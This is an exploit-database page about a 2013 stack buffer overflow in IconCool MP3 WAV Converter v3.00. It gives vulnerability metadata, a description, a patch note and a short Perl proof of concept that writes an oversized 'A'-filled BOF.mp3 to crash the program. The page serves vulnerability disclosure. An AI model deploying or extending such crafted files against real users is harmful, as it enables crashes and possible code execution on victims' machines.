header-logo
Suggest Exploit
vendor:
IconCool MP3 WAV Converter
by:
G0li47h
9,3
CVSS
HIGH
Stack Buffer Overflow
119
CWE
Product Name: IconCool MP3 WAV Converter
Affected Version From: v3.00 Build 120518
Affected Version To: v3.00 Build 120518
Patch Exists: Yes
Related CWE: N/A
CPE: a:iconcool:iconcool_mp3_wav_converter
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: Windows 7 SP1
2013

IconCool MP3 WAV Converter Stack Buffer Overflow Vulnerability

IconCool MP3 WAV Converter is vulnerable to a stack buffer overflow vulnerability. An attacker can exploit this vulnerability by creating a malicious MP3 file with a large amount of data and sending it to the victim. When the victim opens the file, the stack buffer is overflowed and the attacker can execute arbitrary code on the victim's system.

Mitigation:

The vendor has released a patch to address this vulnerability. Users should update to the latest version of the software.
Source

Exploit-DB raw data:

# Exploit Title: IconCool MP3 WAV Converter Stack Buffer Overflow Vulnerability
# Date: 3/24/2013
# Exploit Author: G0li47h
# Vendor Homepage: http://www.iconcool.com
# Software Link: http://www.iconcool.com/insticoncoolmp3wavconverter.exe
# Version: v3.00 Build 120518
# Tested on: Windows 7 SP1


my $file= "BOF.mp3";
my $FILE;
my $junk = "\x41" x 30000000;


open($FILE,">$file");
print $FILE $junk;
close($FILE);
print "File Created successfully\n";

Navigation

Suggest Exploit

Services By CQR